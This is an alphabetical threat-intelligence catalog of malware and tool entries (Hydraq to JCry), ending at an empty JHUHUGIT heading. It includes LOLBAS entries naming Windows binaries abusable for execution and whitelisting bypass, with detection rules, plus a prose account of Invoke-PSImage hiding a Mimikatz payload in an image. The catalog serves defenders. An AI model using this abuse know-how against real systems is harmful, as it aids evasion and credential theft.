[Hydraq](https://app.tidalcyber.com/software/4ffbca79-358a-4ba5-bfbb-dc1694c45646) is a data-theft trojan first used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17]([MicroFocus 9002 Aug 2016(https://app.tidalcyber.com/references/a4d6bdd1-e70c-491b-a569-72708095c809)]</sup>^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]}^{[[Symantec Trojan.Hydraq Jan 2010](https://app.tidalcyber.com/references/10bed842-400f-4276-972d-5fca794ea778)]}^{[[ASERT Seven Pointed Dagger Aug 2015](https://app.tidalcyber.com/references/a8f323c7-82bc-46e6-bd6c-0b631abc644a)]}^{[[FireEye DeputyDog 9002 November 2013](https://app.tidalcyber.com/references/68b5a913-b696-4ca5-89ed-63453023d2a2)]}^{[[ProofPoint GoT 9002 Aug 2017](https://app.tidalcyber.com/references/b796f889-400c-440b-86b2-1588fd15f3ae)]}^{[[FireEye Sunshop Campaign May 2013](https://app.tidalcyber.com/references/ec246c7a-3396-46f9-acc4-a100cb5e5fe6)]}^{[[PaloAlto 3102 Sept 2015](https://app.tidalcyber.com/references/db340043-43a7-4b16-a570-92a0d879b2bf)]}

The tag is: *misp-galaxy:software="Hydraq"*

HyperBro

[HyperBro](https://app.tidalcyber.com/software/57cec527-26fb-44a1-b1a9-506a3af2c9f2) is a custom in-memory backdoor used by [Threat Group-3390]([Unit42 Emissary Panda May 2019 (https://app.tidalcyber.com/references/3a3ec86c-88da-40ab-8e5f-a7d5102c026b)]</sup>^{[[Securelist LuckyMouse June 2018](https://app.tidalcyber.com/references/f974708b-598c-46a9-aac9-c5fbdd116c2a)]}^{[[Hacker News LuckyMouse June 2018](https://app.tidalcyber.com/references/de78446a-cb46-4422-820b-9ddf07557b1a)]}

The tag is: *misp-galaxy:software="HyperBro"*

HyperStack

[HyperStack](https://app.tidalcyber.com/software/ba3236e9-c86b-4b5d-89ed-7f71940a0588) is a RPC-based backdoor used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) since at least 2018. [HyperStack](https://app.tidalcyber.com/software/ba3236e9-c86b-4b5d-89ed-7f71940a0588) has similarities to other backdoors used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) including [Carbon]([Accenture HyperStack October 2020(https://app.tidalcyber.com/references/680f2a0b-f69d-48bd-93ed-20ee2f79e3f7)]</sup>

The tag is: *misp-galaxy:software="HyperStack"*

IceApple

[IceApple](https://app.tidalcyber.com/software/5a73defd-6a1a-4132-8427-cec649e8267a) is a

modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.^{[[CrowdStrike IceApple May 2022](https://app.tidalcyber.com/references/325988b8-1c7d-4296-83d6-bfcbe533b75e)]}

The tag is: *misp-galaxy:software="IceApple"*

IcedID

[IcedID](https://app.tidalcyber.com/software/7f59bb7c-5fa9-497d-9d8e-ba9349fd9433) is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. [IcedID](https://app.tidalcyber.com/software/7f59bb7c-5fa9-497d-9d8e-ba9349fd9433) has been downloaded by [Emotet](https://app.tidalcyber.com/software/c987d255-a351-4736-913f-91e2f28d0654) in multiple campaigns.^{[[IBM IcedID November 2017](https://app.tidalcyber.com/references/fdc56361-24f4-4fa5-949e-02e61c4d3be8)]}^{[[Juniper IcedID June 2020](https://app.tidalcyber.com/references/426886d0-cdf2-4af7-a0e4-366c1b0a1942)]}

The tag is: *misp-galaxy:software="IcedID"*

Idumper

A credential dumping tool associated with Iran-linked espionage group OilRig.^{[[ESET OilRig September 21 2023](/references/21ee3e95-ac4b-48f7-b948-249e1884bc96)]}

The tag is: *misp-galaxy:software="Idumper"*

Ie4uinit

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Executes commands from a specially prepared ie4uinit.inf file.

Author: Oddvar Moe

Paths: * c:\windows\system32\ie4uinit.exe * c:\windows\sysWOW64\ie4uinit.exe * c:\windows\system32\ieuinit.inf * c:\windows\sysWOW64\ieuinit.inf

Resources: * https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/

Detection: * IOC: ie4uinit.exe copied outside of %windir% * IOC: ie4uinit.exe loading an inf file (ieuinit.inf) from outside %windir% * Sigma: [proc_creation_win_lolbin_ie4uinit.yml]([Ie4uinit.exe - LOLBAS Project](/references/01f9a368-5933-47a1-85a9-e5883a5ca266)]</sup>

The tag is: *misp-galaxy:software="Ie4uinit"*

Ieadvpack

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.

Author: LOLBAS Team

Paths: * c:\windows\system32\ieadvpack.dll * c:\windows\syswow64\ieadvpack.dll

Resources: * https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ * https://twitter.com/pabraeken/status/991695411902599168 * https://twitter.com/0rbz_/status/974472392012689408

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml) * Splunk: [detect_rundll32_application_control_bypass_advpack.yml]([Ieadvpack.dll - LOLBAS Project(/references/79943a49-23d6-499b-a022-7c2f8bd68aee)]}

The tag is: *misp-galaxy:software="Ieadvpack"*

iediagcmd

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Diagnostics Utility for Internet Explorer

Author: manasmbellani

Paths: * C:\Program Files\Internet Explorer\iediagcmd.exe

Resources: * https://twitter.com/Hexacorn/status/1507516393859731456

Detection: * Sigma: https://github.com/manasmbellani/mycode_public/blob/master/sigma/rules/win_proc_creation_lolbin_iediagcmd.yml * IOC: Sysmon Event ID 1 * IOC: Execution of process iediagcmd.exe with /out could be suspicious^{[[iediagcmd.exe - LOLBAS Project](/references/de238a18-2275-497e-adcf-453a016a24c4)]}

The tag is: *misp-galaxy:software="iediagcmd"*

Ieexec

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe

Resources: * https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/

Detection: * Sigma: [proc_creation_win_lolbin_ieexec_download.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_ieexec_download.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_misc_lolbin_connecting_to_the_internet.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * IOC: Network connections originating from ieexec.exe may be suspicious^{[[Ieexec.exe - LOLBAS Project](/references/91f31525-585d-4b71-83d7-9b7c2feacd34)]}

The tag is: *misp-galaxy:software="Ieexec"*

Ieframe

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Internet Browser DLL for translating HTML code.

Author: LOLBAS Team

Paths: * c:\windows\system32\ieframe.dll * c:\windows\syswow64\ieframe.dll

Resources: * http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/ * https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ * https://twitter.com/bohops/status/997690405092290561 * https://windows10dll.nirsoft.net/ieframe_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Ieframe.dll - LOLBAS Project(/references/aab9c80d-1f1e-47ba-954d-65e7400054df)]</sup>

The tag is: *misp-galaxy:software="Ieframe"*

ifconfig

[ifconfig](https://app.tidalcyber.com/software/93ab16d1-625e-4b1c-bb28-28974c269c47) is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. ^{[[Wikipedia Ifconfig](https://app.tidalcyber.com/references/7bb238d4-4571-4cd0-aab2-76797570724a)]}

The tag is: *misp-galaxy:software="ifconfig"*

iKitten

[iKitten](https://app.tidalcyber.com/software/71098f6e-a2c0-434f-b991-6c079fd3e82d) is a macOS exfiltration agent ^{[[objsee mac malware 2017](https://app.tidalcyber.com/references/08227ae5-4086-4c31-83d9-459c3a097754)]}.

The tag is: *misp-galaxy:software="iKitten"*

Ilasm

This object contains information sourced from the [Living Off The Land Binaries, Scripts and

Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: used for compile c# code into dll or exe.

Author: Hai vaknin (lux)

Paths: * C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe

Resources: * https://github.com/LuxNoBulIshit/BeforeCompileBy-ilasm/blob/master/hello_world.txt

Detection: * IOC: Ilasm may not be used often in production environments (such as on endpoints) * Sigma: [proc_creation_win_lolbin_ilasm.yml]([Ilasm.exe - LOLBAS Project(/references/347a1f01-02ce-488e-9100-862971c1833f)]</sup>

The tag is: *misp-galaxy:software="Ilasm"*

ImageMagick

ImageMagick is a free and open-source software suite for displaying, converting, and editing raster image and vector image files. It can read and write over 200 image file formats, and can support a wide range of image manipulation operations, such as resizing, cropping, and color correction.^{[[ImageMagick January 1 1999](/references/a368f786-7e74-47e3-91e8-170dbb360234)]}

The tag is: *misp-galaxy:software="ImageMagick"*

IMAPLoader

[IMAPLoader](https://app.tidalcyber.com/software/0e5c0f19-db3d-5061-a0b9-3b55e4f3f50b) is a .NET-based loader malware exclusively associated with [CURIUM](https://app.tidalcyber.com/groups/ab15a328-c41e-5701-993f-3cab29ac4544) operations since at least 2022. [IMAPLoader](https://app.tidalcyber.com/software/0e5c0f19-db3d-5061-a0b9-3b55e4f3f50b) leverages email protocols for command and control and payload delivery.^{[[PWC Yellow Liderc 2023](https://app.tidalcyber.com/references/e473a371-2f34-5391-8888-42082b0a1904)]}

The tag is: *misp-galaxy:software="IMAPLoader"*

IMEWDBLD

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft IME Open Extended Dictionary Module

Author: Wade Hickey

Paths: * C:\Windows\System32\IME\SHARED\IMEWDBLD.exe

Resources: * https://twitter.com/notwhickey/status/1367493406835040265

Detection: * Sigma: [net_connection_win_imewdbld.yml]([IMEWDBLD.exe - LOLBAS Project(/references/9d1d6bc1-61cf-4465-b3cb-b6af36769027)]</sup>

The tag is: *misp-galaxy:software="IMEWDBLD"*

Imminent Monitor

[Imminent Monitor](https://app.tidalcyber.com/software/925fc0db-9315-4703-9353-1d0e9ecb1439) was a commodity remote access tool (RAT) offered for sale from 2012 until 2019, when an operation was conducted to take down the Imminent Monitor infrastructure. Various cracked versions and variations of this RAT are still in circulation.^{[[Imminent Unit42 Dec2019](https://app.tidalcyber.com/references/28f858c6-4c00-4c0c-bb27-9e000ba22690)]}

The tag is: *misp-galaxy:software="Imminent Monitor"*

Impacket

[Impacket](https://app.tidalcyber.com/software/cf2c5666-e8ad-49c1-ac8f-30ed65f9e52c) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://app.tidalcyber.com/software/cf2c5666-e8ad-49c1-ac8f-30ed65f9e52c) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.^{[[Impacket Tools](https://app.tidalcyber.com/references/cdaf72ce-e8f7-42ae-b815-14a7fd47e292)]}

The tag is: *misp-galaxy:software="Impacket"*

INC Ransomware

[INC Ransomware](https://app.tidalcyber.com/software/814df4bb-4f5a-5097-af8b-85622a4803ba) is a ransomware strain that has been used by the [INC Ransom](https://app.tidalcyber.com/groups/8957f42d-a069-542b-bce6-3059a2fa0f2e) group since at least 2023 against multiple industry sectors worldwide. [INC Ransomware](https://app.tidalcyber.com/software/814df4bb-4f5a-5097-af8b-85622a4803ba) can employ partial encryption combined with multi-threading to speed encryption.^{[[SentinelOne INC Ransomware](https://app.tidalcyber.com/references/5f82878b-2258-5663-8694-efc3179c1849)]}^{[[Huntress INC Ransom Group August 2023](https://app.tidalcyber.com/references/d315547d-26e3-5130-a794-658eecf1e0df)]}^{[[Secureworks GOLD IONIC April 2024](https://app.tidalcyber.com/references/e723e7b3-496f-5ab4-abaf-83859e7e912d)]}

The tag is: *misp-galaxy:software="INC Ransomware"*

Industroyer

[Industroyer](https://app.tidalcyber.com/software/09398a7c-aee5-44af-b99d-f73d3b39c299) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations.^{[[ESET Industroyer](https://app.tidalcyber.com/references/9197f712-3c53-4746-9722-30e248511611)]} [Industroyer](https://app.tidalcyber.com/software/09398a7c-aee5-44af-b99d-f73d3b39c299) was used in the attacks on the Ukrainian power grid in December 2016.^{[[Dragos Crashoverride 2017](https://app.tidalcyber.com/references/c8f624e3-2ba2-4564-bd1c-f06b9a6a8bce)]} This is the first publicly known malware specifically designed to target and impact operations in the electric grid.^{[[Dragos Crashoverride 2018](https://app.tidalcyber.com/references/d14442d5-2557-4a92-9a29-b15a20752f56)]}

The tag is: *misp-galaxy:software="Industroyer"*

Industroyer2

[Industroyer2](https://app.tidalcyber.com/software/53c5fb76-a690-55c3-9e02-39577990da2a) is a compiled and static piece of malware that has the ability to communicate over the IEC-104 protocol. It is similar to the IEC-104 module found in [Industroyer](https://app.tidalcyber.com/software/09398a7c-aee5-44af-b99d-f73d3b39c299). Security researchers assess that [Industroyer2](https://app.tidalcyber.com/software/53c5fb76-a690-55c3-9e02-39577990da2a) was designed to cause impact to high-voltage electrical substations. The initial [Industroyer2](https://app.tidalcyber.com/software/53c5fb76-a690-55c3-9e02-39577990da2a) sample was compiled on 03/23/2022 and scheduled to execute on 04/08/2022, however it was discovered before deploying, resulting in no impact.^{[[Industroyer2 Blackhat ESET](https://app.tidalcyber.com/references/d9e8ca96-8646-5dd9-bede-56305385b2e4)]}

The tag is: *misp-galaxy:software="Industroyer2"*

Infdefaultinstall

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary used to perform installation based on content inside inf files

Author: Oddvar Moe

Paths: * C:\Windows\System32\Infdefaultinstall.exe * C:\Windows\SysWOW64\Infdefaultinstall.exe

Resources: * https://twitter.com/KyleHanslovan/status/911997635455852544 * https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/ * [https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/](https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-

execute-techniques-for-bypass-evasion-persistence-part-2/)

Detection: * Sigma: [proc_creation_win_infdefaultinstall_execute_sct_scripts.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml) * BlockRule: [https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules]([Infdefaultinstall.exe - LOLBAS Project(/references/5e83d17c-dbdd-4a6c-a395-4f921b68ebec)]</sup>

The tag is: *misp-galaxy:software="Infdefaultinstall"*

InnaputRAT

[InnaputRAT](https://app.tidalcyber.com/software/e42bf572-1e70-4467-a4b7-5e22c776c758) is a remote access tool that can exfiltrate files from a victim's machine. [InnaputRAT](https://app.tidalcyber.com/software/e42bf572-1e70-4467-a4b7-5e22c776c758) has been seen out in the wild since 2016. ^{[[ASERT InnaputRAT April 2018](https://app.tidalcyber.com/references/29c6575f-9e47-48cb-8162-15280002a6d5)]}

The tag is: *misp-galaxy:software="InnaputRAT"*

Installutil

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Author: Oddvar Moe

Paths: * C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe * C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe * C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Resources: * https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/ * https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_12 * https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.004/T1218.004.md * https://www.blackhillsinfosec.com/powershell-without-powershell-how-to-bypass-application-whitelisting-environment-restrictions-av/ * [https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/](https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-

is-it-really-part-1/) * https://docs.microsoft.com/en-us/dotnet/framework/tools/installutil-exe-installer-tool

Detection: * Sigma: [proc_creation_win_instalutil_no_log_execution.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_instalutil_no_log_execution.yml) * Sigma: [proc_creation_win_lolbin_installutil_download.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml) * Elastic: [defense_evasion_installutil_beacon.toml](https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_installutil_beacon.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml]([LOLBAS Installutil(/references/7dfb2c45-862a-4c25-a65a-55abea4b0e44)]</sup>

The tag is: *misp-galaxy:software="Installutil"*

Interactsh

According to joint Cybersecurity Advisory AA23-250A (September 2023), Interactsh is "an open-source tool for detecting external interactions (communication)". The Advisory further states that the tool is "used to detect callbacks from target systems for specified vulnerabilities and commonly used during the reconnaissance stages of adversary activity".^{[[U.S. CISA Zoho Exploits September 7 2023](/references/6bb581e8-ed0e-41fe-bf95-49b5d11b4e6b)]}

The tag is: *misp-galaxy:software="Interactsh"*

Inveigh

Inveigh is an open-source utility. According to its GitHub project page, it is a "machine-in-the-middle" tool designed for penetration testing purposes.^{[[GitHub Inveigh](/references/cca306e5-f9da-4782-a06f-ba3ad70e34ca)]}

The tag is: *misp-galaxy:software="Inveigh"*

InvisibleFerret

A cross-platform Python-based backdoor with capabilities for fingerprinting, remote control, keylogging, data exfiltration, and browser stealing.^{[[Unit 42 November 21 2023](/references/930228c3-a93b-4664-ab7d-65af212211fc)]}

The tag is: *misp-galaxy:software="InvisibleFerret"*

InvisiMole

[InvisiMole](https://app.tidalcyber.com/software/3ee4c49d-2f2c-4677-b193-69f16f2851a4) is a modular spyware program that has been used by the InvisiMole Group since at least 2013. [InvisiMole](https://app.tidalcyber.com/software/3ee4c49d-2f2c-4677-b193-69f16f2851a4) has two

backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. [Gamaredon Group](https://app.tidalcyber.com/groups/41e8b4a4-2d31-46ee-bc56-12375084d067) infrastructure has been used to download and execute [InvisiMole](https://app.tidalcyber.com/software/3ee4c49d-2f2c-4677-b193-69f16f2851a4) against a small number of victims.^{[[ESET InvisiMole June 2018](https://app.tidalcyber.com/references/629fa1d8-06cb-405c-a2f7-c511b54cd727)]}^{[[ESET InvisiMole June 2020](https://app.tidalcyber.com/references/d10cfda8-8fd8-4ada-8c61-dba6065b0bac)]}

The tag is: *misp-galaxy:software="InvisiMole"*

Invoke-Expression

The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line is returned (echoed) unchanged.^{[[MicrosoftLearn January 1 2024](/references/4a2a7b5a-c1c4-4a1e-bef0-193799c80570)]}

The tag is: *misp-galaxy:software="Invoke-Expression"*

Invoke-PSImage

[Invoke-PSImage](https://app.tidalcyber.com/software/2200a647-3312-44c0-9691-4a26153febbb) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. ^{[[GitHub Invoke-PSImage](https://app.tidalcyber.com/references/dd210b79-bd5f-4282-9542-4d1ae2f16438)]}

The tag is: *misp-galaxy:software="Invoke-PSImage"*

IOBit

IOBit is a self-described "freeware" tool that can ostensibly be used to "clean, optimize, speed up and secure" personal computers. According to U.S. cybersecurity authorities, IOBit has been used by adversaries, such as ransomware actors, as part of their operations, for example to disable anti-virus software.^{[[U.S. CISA Play Ransomware December 2023](/references/ad96148c-8230-4923-86fd-4b1da211db1a)]}

The tag is: *misp-galaxy:software="IOBit"*

iodine

Iodine lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed.^{[[GitHub February 4 2012](/references/6383d9c4-487b-40b4-b2c4-82c616a4747b)]}

The tag is: *misp-galaxy:software="iodine"*

IOX

Open-source proxy, used to establish a reverse proxy to adversary servers from an internal victim device.^{[[U.S. CISA Ghost Cring Ransomware February 19 2025](/references/d3b3cebd-3428-4d71-a81e-a7cb6248e3b7)]}

The tag is: *misp-galaxy:software="IOX"*

ipconfig

[ipconfig](https://app.tidalcyber.com/software/4f519002-0576-4f8e-8add-73ebac9a86e6) is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. ^{[[TechNet Ipconfig](https://app.tidalcyber.com/references/8a6e6f59-70fb-48bf-96d2-318dd92df995)]}

The tag is: *misp-galaxy:software="ipconfig"*

IPsec Helper

[IPsec Helper](https://app.tidalcyber.com/software/e6fa005e-4690-5336-8a03-5f667ea38f3f) is a post-exploitation remote access tool linked to [Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a) operations. This malware shares significant programming and functional overlaps with [Apostle](https://app.tidalcyber.com/software/f525a28f-2500-585c-a1c7-063ecec8376e) ransomware, also linked to [Agrius](https://app.tidalcyber.com/groups/36c70cf2-c7d5-5926-8155-5d3a63e3e55a). [IPsec Helper](https://app.tidalcyber.com/software/e6fa005e-4690-5336-8a03-5f667ea38f3f) provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.^{[[SentinelOne Agrius 2021](https://app.tidalcyber.com/references/b5b433a1-5d12-5644-894b-c42d995c9ba5)]}

The tag is: *misp-galaxy:software="IPsec Helper"*

IronNetInjector

[IronNetInjector](https://app.tidalcyber.com/software/9ca96281-8ff9-4619-a79d-16c5a9594eae) is a [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT]([Unit 42 IronNetInjector February 2021 (https://app.tidalcyber.com/references/f04c89f7-d951-4ebc-a5e4-2cc69476c43f)]</sup>

The tag is: *misp-galaxy:software="IronNetInjector"*

ISMInjector

[ISMInjector](https://app.tidalcyber.com/software/752ab0fc-7fa1-4e54-bd9a-7a280a38ed77) is a Trojan used to install another [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-

1a4a292703e2) backdoor, ISMAgent. ^{[[OilRig New Delivery Oct 2017](https://app.tidalcyber.com/references/f5f3e1e7-1d83-4ddc-a878-134cd0d268ce)]}

The tag is: *misp-galaxy:software="ISMInjector"*

Ixeshe

[Ixeshe](https://app.tidalcyber.com/software/6dbf31cf-0ba0-48b4-be82-38889450845c) is a malware family that has been used since at least 2009 against targets in East Asia. ^{[[Moran 2013](https://app.tidalcyber.com/references/d38bdb47-1a8d-43f8-b7ed-dfa5e430ac2f)]}

The tag is: *misp-galaxy:software="Ixeshe"*

Jaguar Tooth

Jaguar Tooth is a malicious software bundle consisting of a series of payloads and patches. Russia-backed APT28 used Jaguar Tooth during a series of compromises involving vulnerable Cisco routers belonging to U.S., Ukrainian, and other entities in 2021.^{[[U.S. CISA APT28 Cisco Routers April 18 2023](/references/c532a6fc-b27f-4240-a071-3eaa866bce89)]}

According to an April 2023 UK National Cyber Security Centre technical report on Jaguar Tooth, the malware is deployed and executed via exploitation of CVE-2017-6742, a Simple Network Management Protocol (SNMP) vulnerability for which Cisco released a patch in 2017. Jaguar Tooth deployments allowed actors to collect further device information via execution of Cisco IOS Command Line Interface commands, discover other network devices, and achieve unauthenticated backdoor access to victim systems.^{[[UK NCSC Jaguar Tooth April 18 2023](/references/954e0cb9-9a93-4cac-af84-c6989b973fac)]}

Related Vulnerabilities: CVE-2017-6742^{[[U.S. CISA APT28 Cisco Routers April 18 2023](/references/c532a6fc-b27f-4240-a071-3eaa866bce89)]}

The tag is: *misp-galaxy:software="Jaguar Tooth"*

Janicab

[Janicab](https://app.tidalcyber.com/software/a4debf1f-8a37-4c89-8ebc-31de71d33f79) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. ^{[[Janicab](https://app.tidalcyber.com/references/1acc1a83-faac-41d3-a08b-cc3a539567fb)]}

The tag is: *misp-galaxy:software="Janicab"*

Javali

[Javali](https://app.tidalcyber.com/software/853d3d18-d746-4650-a9bd-c36a0e86dd02) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.<sup>[[Securelist Brazilian Banking Malware July 2020](https://app.tidalcyber.com/references/ccc34875-93f3-40ed-a9ee-

f31b86708507)]</sup>

The tag is: *misp-galaxy:software="Javali"*

JavaScript

JavaScript, often abbreviated as JS, is a programming language that conforms to the ECMAScript specification. JavaScript is high-level, often just-in-time compiled and multi-paradigm. It has dynamic typing, prototype-based object-orientation and first-class functions.

JavaScript is used for web development, in web applications, for game development, and much more. It allows you to implement dynamic features on web pages that cannot be done with only HTML and CSS. Many browsers use JavaScript as a scripting language for doing dynamic things on the web. Any time you see a click-to-show dropdown menu, extra content added to a page, and dynamically changing element colours on a page, to name a few features, you're seeing the effects of JavaScript.

Exploiting JavaScript in cyber attacks is not exactly new, but the increasing frequency of this attack vector is. Even in 2020, JavaScript-based attacks are still a matter of great concern. The danger in these attacks lies in one key aspect: malware delivered via infected JavaScript files doesn't need user interaction. Better said, a user could get infected with malware without doing anything else than browsing a website. JavaScript is not an insecure programming language, code bugs or improper implementations can create backdoors which attackers can exploit.^{[[Wikipedia JavaScript](/references/79715346-7f8d-4436-8752-b039d85b220a)]}^{[[Heimdal Security December 2 2020](/references/f55dc056-4d5e-4071-a296-df0e069c4874)]}^{[[freeCodeCamp.org March 29 2021](/references/3f458e65-3910-4ed0-a576-bea4cfabdfcc)]}

The tag is: *misp-galaxy:software="JavaScript"*

JCry

[JCry](https://app.tidalcyber.com/software/41ec0bbc-65ca-4913-a763-1638215d7b2f) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.^{[[Carbon Black JCry May 2019](https://app.tidalcyber.com/references/deb97163-323a-493a-9c73-b41c8c5e5cd1)]}

The tag is: *misp-galaxy:software="JCry"*

JHUHUGIT

